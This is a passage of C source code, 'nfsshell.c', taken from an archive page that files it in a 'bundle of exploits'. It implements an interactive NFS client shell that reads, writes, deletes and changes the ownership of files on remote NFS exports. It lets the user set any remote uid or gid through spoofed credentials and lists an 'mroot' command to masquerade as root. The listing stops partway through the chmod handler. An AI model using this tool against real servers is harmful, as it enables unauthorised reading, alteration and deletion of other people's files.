home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / nfsshell.c < prev    next >
Text File  |  1998-07-17  |  45KB  |  1,907 lines

  1. /*
  2.  * Copyright, 1991, 1992, by Leendert van Doorn (leendert@cs.vu.nl)
  3.  *
  4.  * This material is copyrighted by Leendert van Doorn, 1991, 1992. The usual
  5.  * standard disclaimer applies, especially the fact that the author nor the
  6.  * Vrije Universiteit, Amsterdam are liable for any damages caused by direct or
  7.  * indirect use of the information or functionality provided by this program.
  8.  */
  9.  
  10. /*
  11.  * nfs - A shell that provides access to NFS file systems
  12.  */
  13. #include <stdio.h>
  14. #include <string.h>
  15. #include <ctype.h>
  16. #include <signal.h>
  17. #include <setjmp.h>
  18. #include <netdb.h>
  19. #include <errno.h>
  20. #include <rpc/rpc.h>
  21. #include <sys/ioctl.h>
  22. #include <sys/socket.h>
  23. #include <sys/vnode.h>
  24. #include <sys/vfs.h>
  25. #include <netinet/in.h>
  26. #include <arpa/inet.h>
  27. #include <sys/time.h>
  28. #include <ufs/inode.h>
  29. #include "mount.h"
  30. #include "nfs_prot.h"
  31.  
  32. /*
  33.  * Fundamental constants
  34.  */
  35. #define    NARGVEC        100    /* maximum number of arguments */
  36.  
  37. /*
  38.  * List of command identifiers
  39.  */
  40. #define    CMD_UNKNOWN    0    /* unknown command */
  41. #define    CMD_HOST    1    /* host <host> */
  42. #define    CMD_UID        2    /* uid [<uid>] */
  43. #define    CMD_GID        3    /* gid [<gid>] */
  44. #define    CMD_CD        4    /* cd [<path>] */
  45. #define    CMD_LCD        5    /* lcd [<path>] */
  46. #define    CMD_CAT        6    /* cat <filespec> */
  47. #define    CMD_LS        7    /* ls [-l] <filespec> */
  48. #define    CMD_GET        8    /* get <filespec> */
  49. #define    CMD_DF        9    /* df */
  50. #define    CMD_MOUNT    10    /* mount [-u] [-p] [<host>:]<path> */
  51. #define    CMD_UMOUNT    11    /* umount */
  52. #define    CMD_UMOUNTALL    12    /* umountall */
  53. #define    CMD_EXPORT    13    /* export */
  54. #define    CMD_DUMP    14    /* dump */
  55. #define    CMD_STATUS    15    /* status */
  56. #define    CMD_HELP    16    /* help */
  57. #define    CMD_QUIT    17    /* quit */
  58. #define    CMD_RM        18    /* rm <file> */
  59. #define    CMD_LN        19    /* ln <file1> <file2> */
  60. #define    CMD_MV        20    /* mv <file1> <file2> */
  61. #define    CMD_MKDIR    21    /* mkdir <dir> */
  62. #define    CMD_RMDIR    22    /* rmdir <dir> */
  63. #define    CMD_CHMOD    23    /* chmod <mode> <file> */
  64. #define    CMD_CHOWN    24    /* chown <uid>[.<gid>] <file> */
  65. #define    CMD_PUT        25    /* put <local-file> [<remote-file>] */
  66. #define CMD_HANDLE    26    /* handle [<file-handle>] */
  67. #define CMD_MKNOD    27    /* mknod <file> <major> <minor> */
  68. #define CMD_MROOT    28    /* mroot */
  69.  
  70. /*
  71.  * Key word table
  72.  */
  73. struct keyword {
  74.     char *kw_command;
  75.     int kw_value;
  76.     char *kw_help;
  77. } keyword[] = {
  78.     "host",    CMD_HOST,    "<host> - set remote host name",
  79.     "uid",    CMD_UID,    "[<uid>] - set remote user id",
  80.     "gid",    CMD_GID,    "[<gid>] - set remote group id",
  81.     "cd",    CMD_CD,        "[<path>] - change remote working directory",
  82.     "lcd",    CMD_LCD,    "[<path>] - change local working directory",
  83.     "cat",    CMD_CAT,    "<filespec> - display remote file",
  84.     "ls",    CMD_LS,        "[-l] <filespec> - list remote directory",
  85.     "get",    CMD_GET,    "<filespec> - get remote files",
  86.     "df",    CMD_DF,        "- file system information",
  87.     "rm",    CMD_RM,        "<file> - delete remote file",
  88.     "ln",    CMD_LN,        "<file1> <file2> - link file",
  89.     "mv",    CMD_MV,        "<file1> <file2> - move file",
  90.     "mkdir",    CMD_MKDIR,    "<dir> - make remote directory",
  91.     "rmdir",    CMD_RMDIR,    "<dir> - remove remote directory",
  92.     "chmod",    CMD_CHMOD,    "<mode> <file> - change mode",
  93.     "chown",    CMD_CHOWN,    "<uid>[.<gid>] <file> -  change owner",
  94.     "put",    CMD_PUT,    "<local-file> [<remote-file>] - put file",
  95.     "mount",    CMD_MOUNT,    "[-u] [-p] [<host>:]<path> - mount file system",
  96.     "umount",    CMD_UMOUNT,    "- umount remote file system",
  97.     "umountall",CMD_UMOUNTALL,    "- umount all remote file systems",
  98.     "export",    CMD_EXPORT,    "- show all exported file systems",
  99.     "dump",    CMD_DUMP,    "- show all remote mounted file systems",
  100.     "status",    CMD_STATUS,    "- general status report",
  101.     "help",    CMD_HELP,    "- this help message",
  102.     "quit",    CMD_QUIT,    "- name says it all",
  103.     "handle",    CMD_HANDLE,    "[<handle>] - get/set directory file handle",
  104.     "mknod",    CMD_MKNOD,    "mknod <file> <major> <minor> - make devices",
  105.     "mroot",     CMD_MROOT,    "- attempt to masquerade as root"
  106. };
  107.  
  108. /* run-time settable flags */
  109. int verbose = 1;        /* verbosity flag */
  110. int interact = 1;        /* interactive mode */
  111.  
  112. /* user provided credentials */
  113. int uid = -2;            /* remote user id (initialy nobody) */
  114. int gid = -2;            /* remote group id (initialy nobody) */
  115.  
  116. /* server information (also used as state information) */
  117.  char *mountpath;        /* remote mount path */ char *remotehost;        /* remote host name */ struct sockaddr_in server_addr;    /* remote server address information */ struct sockaddr_in mntserver_addr; /* remote mount server address */
  118. struct sockaddr_in nfsserver_addr; /* remote mount server address */
  119. CLIENT *mntclient;        /* mount RPC client */
  120. CLIENT *nfsclient;        /* nfs RPC client */
  121. fhstatus *mountpoint;        /* remote mount point */
  122. fhandle directory_handle;    /* current directory handle */
  123. struct timeval timeout = { 60, 0 }; /* default time out */
  124. int transfersize;        /* NFS default transfer size */
  125.  
  126. /* interrupt environments */
  127. jmp_buf intenv;            /* where to go in interrupts */
  128.  
  129. fhstatus *pmap_mnt();
  130.  
  131. char *malloc();
  132. char *calloc();
  133. char *realloc();
  134. char *strsave();
  135. char *strchr();
  136. char *nfs_error();
  137. char *getenv();
  138. void interrupt();
  139.  
  140. main(argc, argv)
  141.     int argc;
  142.     char **argv;
  143. {
  144.     int opt, cmd, argcount;
  145.     char *argvec[NARGVEC];
  146.     char buffer[BUFSIZ];
  147.  
  148.     /* command line option processing */
  149.     while ((opt = getopt(argc, argv, "vi")) != EOF) {
  150.     switch (opt) {
  151.     case 'v':
  152.         verbose = 0;
  153.         break;
  154.     case 'i':
  155.         interact = 0;
  156.         break;
  157.     default:
  158.         fprintf(stderr, "Usage: %s [-v]\n", argv[0]);
  159.         exit(1);
  160.     }
  161.     }
  162.  
  163.     signal(SIGINT, interrupt);
  164.  
  165.     /* interpreter's main command loop */
  166.     if (setjmp(intenv)) putchar('\n');
  167.     while (getline(buffer, BUFSIZ, &argcount, argvec, NARGVEC)) {
  168.     if (argcount == 0) continue;
  169.     if ((cmd = command(argvec[0])) == CMD_QUIT)
  170.         break;
  171.     else switch (cmd) {
  172.     case CMD_HOST:
  173.         do_host(argcount, argvec);
  174.         break;
  175.     case CMD_UID:
  176.         do_setid(&uid, argcount, argvec);
  177.         break;
  178.     case CMD_GID:
  179.         do_setid(&gid, argcount, argvec);
  180.         break;
  181.     case CMD_CD:
  182.         do_cd(argcount, argvec);
  183.         break;
  184.     case CMD_LCD:
  185.         do_lcd(argcount, argvec);
  186.         break;
  187.     case CMD_CAT:
  188.         do_cat(argcount, argvec);
  189.         break;
  190.     case CMD_LS:
  191.         do_ls(argcount, argvec);
  192.         break;
  193.     case CMD_GET:
  194.         do_get(argcount, argvec);
  195.         break;
  196.     case CMD_DF:
  197.         do_df(argcount, argvec);
  198.         break;
  199.     case CMD_RM:
  200.         do_rm(argcount, argvec);
  201.         break;
  202.     case CMD_LN:
  203.         do_ln(argcount, argvec);
  204.         break;
  205.     case CMD_MV:
  206.         do_mv(argcount, argvec);
  207.         break;
  208.     case CMD_MKDIR:
  209.         do_mkdir(argcount, argvec);
  210.         break;
  211.     case CMD_RMDIR:
  212.         do_rmdir(argcount, argvec);
  213.         break;
  214.     case CMD_CHMOD:
  215.         do_chmod(argcount, argvec);
  216.         break;
  217.     case CMD_CHOWN:
  218.         do_chown(argcount, argvec);
  219.         break;
  220.     case CMD_PUT:
  221.         do_put(argcount, argvec);
  222.         break;
  223.     case CMD_HANDLE:
  224.         do_handle(argcount, argvec);
  225.         break;
  226.     case CMD_MKNOD:
  227.         do_mknod(argcount, argvec);
  228.         break;
  229.     case CMD_MROOT:
  230.         do_mroot(&uid, argcount, argvec);
  231.         break;
  232.     case CMD_MOUNT:
  233.         do_mount(argcount, argvec);
  234.         break;
  235.     case CMD_UMOUNT:
  236.         do_umount(argcount, argvec);
  237.         break;
  238.     case CMD_UMOUNTALL:
  239.         do_umountall(argcount, argvec);
  240.         break;
  241.     case CMD_EXPORT:
  242.         do_export(argcount, argvec);
  243.         break;
  244.     case CMD_DUMP:
  245.         do_dump(argcount, argvec);
  246.         break;
  247.     case CMD_STATUS:
  248.         do_status(argcount, argvec);
  249.         break;
  250.     case CMD_HELP:
  251.         do_help(argcount, argvec);
  252.         break;
  253.     case CMD_UNKNOWN:
  254.         if (buffer[0] == '!') {
  255.         system(buffer + 1);
  256.         printf("!\n");
  257.         } else
  258.             fprintf(stderr, "%s: unrecognized command\n", argvec[0]);
  259.         break;
  260.     default:
  261.         fprintf(stderr, "internal error: '%s' not is case\n", argvec[0]);
  262.         break;
  263.     }
  264.     }
  265.     if (remotehost) close_mount();
  266.     exit(0);
  267. }
  268.  
  269. void
  270. interrupt()
  271. {
  272.     longjmp(intenv, 1);
  273. }
  274.  
  275. /*
  276.  * Read a line from standard input and break
  277.  * it up into an argument vector.
  278.  */
  279. int
  280. getline(buf, bufsize, argc, argv, argvsize)
  281.     char *buf, **argv;
  282.     int bufsize, *argc, argvsize;
  283. {
  284.     register char *p;
  285.  
  286.     if (interact) printf("nfs> ");
  287.     if (fgets(buf, bufsize, stdin) == NULL)
  288.     return 0;
  289.     *argc = 0;
  290.     for (p = buf; *p == ' ' || *p == '\t'; p++)
  291.     /* skip white spaces */;
  292.     while (*p != ' ' && *p != '\t' && *p != '\n' && *p != '\0') {
  293.     if (*argc > argvsize) break;
  294.     argv[(*argc)++] = p;
  295.     for (; *p != ' ' && *p != '\t' && *p != '\n' && *p != '\0'; p++)
  296.         /* skip word */;
  297.     if (*p != '\0') *p++ ='\0';
  298.     for (; *p == ' ' || *p == '\t'; p++)
  299.        /* skip white spaces */;
  300.     }
  301.     return 1;
  302. }
  303.  
  304. /*
  305.  * Search for command in keyword table
  306.  */
  307. int
  308. command(cmd)
  309.     char *cmd;
  310. {
  311.     register int i;
  312.  
  313.     for (i = 0; i < sizeof(keyword)/sizeof(struct keyword); i++)
  314.     if (strcmp(keyword[i].kw_command, cmd) == 0)
  315.         return keyword[i].kw_value;
  316.     return CMD_UNKNOWN;
  317. }
  318.  
  319. /*
  320.  * Set remote host and initialize RPC channel
  321.  * to mount daemon.
  322.  */
  323. do_host(argc, argv)
  324.     int argc;
  325.     char **argv;
  326. {
  327.     if (argc != 2)
  328.     fprintf(stderr, "Usage: host <host>\n");
  329.     else
  330.     open_mount(argv[1]);
  331. }
  332.  
  333. /*
  334.  * Set user or group id (updating RPC authentication info)
  335.  */
  336. do_setid(var, argc, argv)
  337.     int *var, argc;
  338.     char **argv;
  339. {
  340.     *var = argc == 2 ? atoi(argv[1]) : -2;
  341.     if (nfsclient && nfsclient->cl_auth) {
  342.     auth_destroy(nfsclient->cl_auth);
  343.     nfsclient->cl_auth = authunix_create_default(uid, gid);
  344.     }
  345. }
  346.  
  347. /*
  348.  * Change remote working directory
  349.  */
  350. do_cd(argc, argv)
  351.     int argc;
  352.     char **argv;
  353. {
  354.     register char *p;
  355.     char *component;
  356.     diropargs args;
  357.     diropres *res;
  358.     fhandle handle;
  359.  
  360.     if (mountpath == NULL) {
  361.     fprintf(stderr, "cd: no remote file system mounted\n");
  362.     return;
  363.     }
  364.  
  365.     /* easy case: cd to root */
  366.     if (argc == 1) {
  367.     bcopy(mountpoint->fhstatus_u.fhs_fhandle, directory_handle, NFS_FHSIZE);
  368.     return;
  369.     }
  370.  
  371.     /* if a directory start with '/', we search from the root */
  372.     if (*(p = argv[1]) == '/') {
  373.     bcopy(mountpoint->fhstatus_u.fhs_fhandle, handle, NFS_FHSIZE);
  374.     p++;
  375.     } else
  376.     bcopy(directory_handle, handle, NFS_FHSIZE);
  377.  
  378.     /*
  379.      * Break path up into directory components and check every
  380.      * component for its validity.
  381.      */
  382.     for (;;) {
  383.     if (*p == '\0') break;
  384.     for (component = p; *p != '/' && *p != '\0'; p++)
  385.         /* do nothing */;
  386.     *p++ = '\0';
  387.     args.name = component;
  388.     bcopy(handle, &args.dir, NFS_FHSIZE);
  389.     if ((res = nfsproc_lookup_2(&args, nfsclient)) == NULL) {
  390.         clnt_perror(nfsclient, "nfsproc_lookup");
  391.         return;
  392.     }
  393.     if (res->status != NFS_OK) {
  394.         fprintf(stderr, "%s: %s\n", component, nfs_error(res->status));
  395.         return;
  396.     }
  397.     if (res->diropres_u.diropres.attributes.type != NFDIR) {
  398.         fprintf(stderr, "%s: is not a directory\n", component);
  399.         return;
  400.     }
  401.     bcopy(&res->diropres_u.diropres.file, handle, NFS_FHSIZE);
  402.     }
  403.     bcopy(handle, directory_handle, NFS_FHSIZE);
  404. }
  405.  
  406. /*
  407.  * Change local working directory
  408.  */
  409. do_lcd(argc, argv)
  410.     int argc;
  411.     char **argv;
  412. {
  413.     if (argc == 1) {
  414.     char *home = getenv("HOME");
  415.     if (home != NULL)
  416.         if (chdir(home) != 0) perror("lcd");
  417.     } else
  418.     if (chdir(argv[1]) != 0) perror("lcd");
  419. }
  420.  
  421. /*
  422.  * Display a remote file
  423.  */
  424. do_cat(argc, argv)
  425.     int argc;
  426.     char **argv;
  427. {
  428.     diropargs dargs;
  429.     diropres *dres;
  430.     readargs rargs;
  431.     readres *rres;
  432.     long offset;
  433.  
  434.     if (mountpath == NULL) {
  435.     fprintf(stderr, "cat: no remote file system mounted\n");
  436.     return;
  437.     }
  438.     if (argc != 2) {
  439.     fprintf(stderr, "Usage: cat <filespec>\n");
  440.     return;
  441.     }
  442.  
  443.     /* lookup name in current directory */
  444.     dargs.name = argv[1];
  445.     bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
  446.     if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
  447.     clnt_perror(nfsclient, "nfsproc_lookup");
  448.     return;
  449.     }
  450.     if (dres->status != NFS_OK) {
  451.     fprintf(stderr, "%s: %s\n", argv[1], nfs_error(dres->status));
  452.     return;
  453.     }
  454.     if (dres->diropres_u.diropres.attributes.type != NFREG) {
  455.     fprintf(stderr, "%s: is not a regular file\n", argv[1]);
  456.     return;
  457.     }
  458.     bcopy(&dres->diropres_u.diropres.file, &rargs.file, NFS_FHSIZE);
  459.     for (offset = 0; offset < dres->diropres_u.diropres.attributes.size; ) {
  460.     rargs.offset = offset;
  461.     rargs.count = rargs.totalcount = transfersize;
  462.     if ((rres = nfsproc_read_2(&rargs, nfsclient)) == NULL) {
  463.         clnt_perror(nfsclient, "nfsproc_read_2");
  464.         break;
  465.         }
  466.     if (rres->status != NFS_OK) {
  467.         fprintf(stderr, "%s: %s\n", argv[1], nfs_error(rres->status));
  468.         break;
  469.     }
  470.         fwrite(rres->readres_u.reply.data.data_val,
  471.             rres->readres_u.reply.data.data_len, 1, stdout);
  472.     offset += transfersize;
  473.     }
  474. }
  475.  
  476. /*
  477.  * List remote directory
  478.  */
  479. do_ls(argc, argv)
  480.     int argc;
  481.     char **argv;
  482. {
  483.     char **table, **ptr, **p;
  484.     int lflag = 0;
  485.  
  486.     argv++; argc--;
  487.     if (mountpath == NULL) {
  488.     fprintf(stderr, "ls: no remote file system mounted\n");
  489.     return;
  490.     }
  491.     if (argc >= 1 && strcmp(argv[0], "-l") == 0) {
  492.     argv++; argc--;
  493.     lflag = 1;
  494.     }
  495.  
  496.     if (!getdirentries(directory_handle, &table, &ptr, 20))
  497.     return;
  498.     for (p = table; p < ptr; p++) {
  499.     if (!match(*p, argc, argv)) continue;
  500.     if (lflag == 1)
  501.         printfilestatus(*p);
  502.     else
  503.         printf("%s\n", *p);
  504.     free(*p);
  505.     }
  506.     free(table);
  507. }
  508.  
  509. /*
  510.  * Print long listing of a files, much in the way ``ls -l'' does
  511.  */
  512. printfilestatus(name)
  513.     char *name;
  514. {
  515.     diropargs args;
  516.     diropres *res;
  517.     int mode;
  518.  
  519.     args.name = name;
  520.     bcopy(directory_handle, &args.dir, NFS_FHSIZE);
  521.  
  522.     if ((res = nfsproc_lookup_2(&args, nfsclient)) == NULL) {
  523.     clnt_perror(nfsclient, "nfsproc_lookup");
  524.     return;
  525.     }
  526.     if (res->status != NFS_OK) {
  527.     fprintf(stderr, "Lookup failed: %s\n", nfs_error(res->status));
  528.     return;
  529.     }
  530.  
  531.     switch (res->diropres_u.diropres.attributes.type) {
  532.     case NFNON:
  533.         putchar('s');
  534.         break;
  535.     case NFREG:
  536.         putchar('-');
  537.         break;
  538.     case NFDIR:
  539.         putchar('d');
  540.         break;
  541.     case NFBLK:
  542.         putchar('b');
  543.         break;
  544.     case NFCHR:
  545.         putchar('c');
  546.         break;
  547.     case NFLNK:
  548.         putchar('l');
  549.         break;
  550.     default:
  551.         putchar('?');
  552.         break;
  553.     }
  554.     mode = res->diropres_u.diropres.attributes.mode;
  555.     if (mode & 0400) putchar('r'); else putchar('-');
  556.     if (mode & 0200) putchar('w'); else putchar('-');
  557.     if (mode & 0100)
  558.     if (mode & 04000) putchar('s'); else putchar('x');
  559.     else
  560.     if (mode & 04000) putchar('S'); else putchar('-');
  561.     if (mode & 040) putchar('r'); else putchar('-');
  562.     if (mode & 020) putchar('w'); else putchar('-');
  563.     if (mode & 010)
  564.     if (mode & 02000) putchar('s'); else putchar('x');
  565.     else
  566.     if (mode & 02000) putchar('S'); else putchar('-');
  567.     if (mode & 04) putchar('r'); else putchar('-');
  568.     if (mode & 02) putchar('w'); else putchar('-');
  569.     if (mode & 01)
  570.     if (mode & 01000) putchar('t'); else putchar('x');
  571.     else
  572.     if (mode & 01000) putchar('T'); else putchar('-');
  573.     printf("%3d%9d%6d%10d ",
  574.     res->diropres_u.diropres.attributes.nlink,
  575.     res->diropres_u.diropres.attributes.uid,
  576.     res->diropres_u.diropres.attributes.gid,
  577.     res->diropres_u.diropres.attributes.size);
  578.     writefiledate(res->diropres_u.diropres.attributes.ctime.seconds);
  579.     printf(" %s", name);
  580.     if (res->diropres_u.diropres.attributes.type == NFLNK) {
  581.     readlinkres *rlres;
  582.     nfs_fh rlargs;
  583.  
  584.     bcopy(&res->diropres_u.diropres.file, &rlargs, NFS_FHSIZE);
  585.     if ((rlres = nfsproc_readlink_2(&rlargs, nfsclient)) == NULL) {
  586.         clnt_perror(nfsclient, "nfsproc_readlink");
  587.         return;
  588.     }
  589.     if (res->status != NFS_OK) {
  590.         fprintf(stderr, "Lookup failed: %s\n", nfs_error(res->status));
  591.         return;
  592.     }
  593.     printf(" -> %s\n", rlres->readlinkres_u.data);
  594.     } else
  595.     putchar('\n');
  596. }
  597.  
  598. int
  599. writefiledate(d)
  600.     time_t d;
  601. {
  602.     time_t now, sixmonthsago, onehourfromnow;
  603.     char *cp;
  604.  
  605.     (void) time(&now);
  606.     sixmonthsago = now - 6L*30L*24L*60L*60L;
  607.     onehourfromnow = now + 60L*60L;
  608.     cp = ctime(&d);
  609.     if ((d < sixmonthsago) || (d > onehourfromnow))
  610.     return printf(" %-7.7s %-4.4s ", cp+4, cp+20);
  611.     else
  612.     return printf(" %-12.12s ", cp+4);
  613. }
  614.  
  615. /*
  616.  * Get remote files
  617.  */
  618. do_get(argc, argv)
  619.     int argc;
  620.     char **argv;
  621. {
  622.     char **table, **ptr, **p;
  623.     char answer[512];
  624.     diropargs args;
  625.     diropres *res;
  626.     readargs rargs;
  627.     readres *rres;
  628.     int iflag = 0;
  629.     long offset;
  630.     FILE *fp;
  631.  
  632.     argv++; argc--;
  633.     if (mountpath == NULL) {
  634.     fprintf(stderr, "get: no remote file system mounted\n");
  635.     return;
  636.     }
  637.     if (argc >= 1 && strcmp(argv[0], "-i") == 0) {
  638.     argv++; argc--;
  639.     iflag = 1;
  640.     }
  641.  
  642.     if (!getdirentries(directory_handle, &table, &ptr, 20))
  643.     return;
  644.     for (p = table; p < ptr; p++) {
  645.     /* match before going over the wire */
  646.     if (!match(*p, argc, argv)) continue;
  647.  
  648.     /* only regular files can be transfered */
  649.     args.name = *p;
  650.     bcopy(directory_handle, &args.dir, NFS_FHSIZE);
  651.     if ((res = nfsproc_lookup_2(&args, nfsclient)) == NULL) {
  652.         clnt_perror(nfsclient, "nfsproc_lookup");
  653.         return;
  654.     }
  655.     if (res->status != NFS_OK) {
  656.         fprintf(stderr, "Lookup failed: %s\n", nfs_error(res->status));
  657.         return;
  658.     }
  659.     if (res->diropres_u.diropres.attributes.type != NFREG)
  660.         continue;
  661.  
  662.     /* ask for confirmation */
  663.     printf("%s? ", *p);
  664.     if (!iflag) {
  665.         gets(answer);
  666.         if (answer[0] != 'y' && answer[0] != 'Y') continue;
  667.     } else
  668.         printf("Yes\n");
  669.  
  670.     /* get actual file */
  671.     if ((fp = fopen(*p, "w")) == NULL) {
  672.         fprintf(stderr, "get: cannot create %s\n", *p);
  673.         continue;
  674.     }
  675.     bcopy(&res->diropres_u.diropres.file, &rargs.file, NFS_FHSIZE);
  676.     for (offset = 0; offset < res->diropres_u.diropres.attributes.size; ) {
  677.         rargs.offset = offset;
  678.         rargs.count = rargs.totalcount = transfersize;
  679.         if ((rres = nfsproc_read_2(&rargs, nfsclient)) == NULL) {
  680.         clnt_perror(nfsclient, "nfsproc_read");
  681.         break;
  682.             }
  683.         if (rres->status != NFS_OK) {
  684.         fprintf(stderr, "%s: %s\n", argv[1], nfs_error(rres->status));
  685.         break;
  686.         }
  687.         fwrite(rres->readres_u.reply.data.data_val,
  688.         rres->readres_u.reply.data.data_len, 1, fp);
  689.         offset += transfersize;
  690.     }
  691.     fclose(fp);
  692.     free(*p);
  693.     }
  694.     free(table);
  695. }
  696.  
  697. /*
  698.  * Show file system information
  699.  */
  700. /* ARGUSED */
  701. do_df(argc, argv)
  702.     int argc;
  703.     char **argv;
  704. {
  705.     statfsres *res;
  706.  
  707.     if (mountpath == NULL) {
  708.     fprintf(stderr, "df: no remote file system mounted\n");
  709.     return;
  710.     }
  711.     if (argc != 1) {
  712.     fprintf(stderr, "Usage: df\n");
  713.     return;
  714.     }
  715.     if ((res = nfsproc_statfs_2(directory_handle, nfsclient)) == NULL) {
  716.     clnt_perror(nfsclient, "nfsproc_statfs");
  717.     return;
  718.     }
  719.     if (res->status != NFS_OK) {
  720.     fprintf(stderr, "Df failed: %s\n", nfs_error(res->status));
  721.     return;
  722.     }
  723.  
  724. #define x res->statfsres_u.reply
  725.     printf("%s:%s    %dK, %dK used, %dK free (%dK useable).\n",
  726.     remotehost, mountpath, x.blocks, (x.blocks-x.bfree), x.bfree, x.bavail);
  727.  
  728.     if (x.bsize != 1024)
  729.     printf("Warning: This filesystem has a blocksize of %d bytes.\n",
  730.         x.bsize);
  731. #undef x
  732. }
  733.  
  734. /*
  735.  * Delete a remote file
  736.  */
  737. do_rm(argc, argv)
  738.     int argc;
  739.     char **argv;
  740. {
  741.     diropargs args;
  742.     nfsstat *res;
  743.  
  744.     if (mountpath == NULL) {
  745.     fprintf(stderr, "rm: no remote file system mounted\n");
  746.     return;
  747.     }
  748.     if (argc != 2) {
  749.     fprintf(stderr, "Usage: rm <file>\n");
  750.     return;
  751.     }
  752.     args.name = argv[1];
  753.     bcopy(directory_handle, &args.dir, NFS_FHSIZE);
  754.     if ((res = nfsproc_remove_2(&args, nfsclient)) == NULL) {
  755.     clnt_perror(nfsclient, "nfsproc_remove");
  756.     return;
  757.     }
  758.     if (*res != NFS_OK) {
  759.     fprintf(stderr, "Remove failed: %s\n", nfs_error(*res));
  760.     return;
  761.     }
  762. }
  763.  
  764. /*
  765.  * Link a file
  766.  */
  767. do_ln(argc, argv)
  768.     int argc;
  769.     char **argv;
  770. {
  771.     diropargs dargs;
  772.     linkargs largs;
  773.     diropres *dres;
  774.     nfsstat *lres;
  775.  
  776.     if (mountpath == NULL) {
  777.     fprintf(stderr, "ln: no remote file system mounted\n");
  778.     return;
  779.     }
  780.     if (argc != 3) {
  781.     fprintf(stderr, "Usage: ln <file1> <file2>\n");
  782.     return;
  783.     }
  784.  
  785.     dargs.name = argv[1];
  786.     bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
  787.     if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
  788.     clnt_perror(nfsclient, "nfsproc_lookup");
  789.     return;
  790.     }
  791.     if (dres->status != NFS_OK) {
  792.     fprintf(stderr, "%s: %s\n", argv[1], nfs_error(dres->status));
  793.     return;
  794.     }
  795.  
  796.     bcopy(&dres->diropres_u.diropres.file, &largs.from, NFS_FHSIZE);
  797.     largs.to.name = argv[2];
  798.     bcopy(directory_handle, &largs.to.dir, NFS_FHSIZE);
  799.  
  800.     if ((lres = nfsproc_link_2(&largs, nfsclient)) == NULL) {
  801.     clnt_perror(nfsclient, "nfsproc_link");
  802.     return;
  803.     }
  804.     if (*lres != NFS_OK) {
  805.     fprintf(stderr, "Link failed: %s\n", nfs_error(*lres));
  806.     return;
  807.     }
  808. }
  809.  
  810. /*
  811.  * Move a file or directory
  812.  */
  813. do_mv(argc, argv)
  814.     int argc;
  815.     char **argv;
  816. {
  817.     renameargs args;
  818.     nfsstat *res;
  819.  
  820.     if (mountpath == NULL) {
  821.     fprintf(stderr, "mv: no remote file system mounted\n");
  822.     return;
  823.     }
  824.     if (argc != 3) {
  825.     fprintf(stderr, "Usage: mv <file1> <file2>\n");
  826.     return;
  827.     }
  828.     args.from.name = argv[1];
  829.     bcopy(directory_handle, &args.from.dir, NFS_FHSIZE);
  830.     args.to.name = argv[2];
  831.     bcopy(directory_handle, &args.to.dir, NFS_FHSIZE);
  832.     if ((res = nfsproc_rename_2(&args, nfsclient)) == NULL) {
  833.     clnt_perror(nfsclient, "nfsproc_rename");
  834.     return;
  835.     }
  836.     if (*res != NFS_OK) {
  837.     fprintf(stderr, "Rename failed: %s\n", nfs_error(*res));
  838.     return;
  839.     }
  840. }
  841.  
  842. /*
  843.  * Make remote directory
  844.  */
  845. do_mkdir(argc, argv)
  846.     int argc;
  847.     char **argv;
  848. {
  849.     createargs args;
  850.     diropres *res;
  851.  
  852.     if (mountpath == NULL) {
  853.     fprintf(stderr, "mkdir: no remote file system mounted\n");
  854.     return;
  855.     }
  856.     if (argc != 2) {
  857.     fprintf(stderr, "Usage: mkdir <directory>\n");
  858.     return;
  859.     }
  860.  
  861.     args.where.name = argv[1];
  862.     bcopy(directory_handle, &args.where.dir, NFS_FHSIZE);
  863.     args.attributes.mode = 040755;
  864.     args.attributes.uid = uid;
  865.     args.attributes.gid = gid;
  866.     args.attributes.size = -1;
  867.     args.attributes.atime.seconds = -1;
  868.     args.attributes.atime.useconds = -1;
  869.     args.attributes.mtime.seconds = -1;
  870.     args.attributes.mtime.useconds = -1;
  871.  
  872.     if ((res = nfsproc_mkdir_2(&args, nfsclient)) == NULL) {
  873.     clnt_perror(nfsclient, "nfsproc_mkdir");
  874.     return;
  875.     }
  876.     if (res->status != NFS_OK) {
  877.     fprintf(stderr, "Make directory failed: %s\n", nfs_error(res->status));
  878.     return;
  879.     }
  880. }
  881.  
  882. /*
  883.  * Remove remote directory
  884.  */
  885. do_rmdir(argc, argv)
  886.     int argc;
  887.     char **argv;
  888. {
  889.     diropargs args;
  890.     nfsstat *res;
  891.  
  892.     if (mountpath == NULL) {
  893.     fprintf(stderr, "rmdir: no remote file system mounted\n");
  894.     return;
  895.     }
  896.     if (argc != 2) {
  897.     fprintf(stderr, "Usage: rmdir <directory>\n");
  898.     return;
  899.     }
  900.  
  901.     args.name = argv[1];
  902.     bcopy(directory_handle, &args.dir, NFS_FHSIZE);
  903.     if ((res = nfsproc_rmdir_2(&args, nfsclient)) == NULL) {
  904.     clnt_perror(nfsclient, "nfsproc_rmdir");
  905.     return;
  906.     }
  907.     if (*res != NFS_OK) {
  908.     fprintf(stderr, "Remove directory failed: %s\n", nfs_error(*res));
  909.     return;
  910.     }
  911. }
  912.  
  913. /*
  914.  * Change mode of remote file or directory
  915.  */
  916. do_chmod(argc, argv)
  917.     int argc;
  918.     char **argv;
  919. {
  920.     sattrargs aargs;
  921.     diropargs dargs;
  922.     attrstat *ares;
  923.     diropres *dres;
  924.     int mode;
  925.  
  926.     if (mountpath == NULL) {
  927.     fprintf(stderr, "chmod: no remote file system mounted\n");
  928.     return;
  929.     }
  930.     if (argc != 3) {
  931.     fprintf(stderr, "Usage: chmod <mode> <file>\n");
  932.     return;
  933.     }
  934.     if (sscanf(argv[1], "%o", &mode) != 1) {
  935.     fprintf(stderr, "chmod: invalid mode\n");
  936.     return;
  937.     }
  938.  
  939.     dargs.name = argv[2];
  940.     bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
  941.     if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
  942.     clnt_perror(nfsclient, "nfsproc_lookup");
  943.     return;
  944.     }
  945.     if (dres->status != NFS_OK) {
  946.     fprintf(stderr, "%s: %s\n", argv[2], nfs_error(dres->status));
  947.     return;
  948.     }
  949.  
  950.     bcopy(&dres->diropres_u.diropres.file, &aargs.file, NFS_FHSIZE);
  951.     aargs.attributes.mode = mode;
  952.     aargs.attributes.uid = -1;
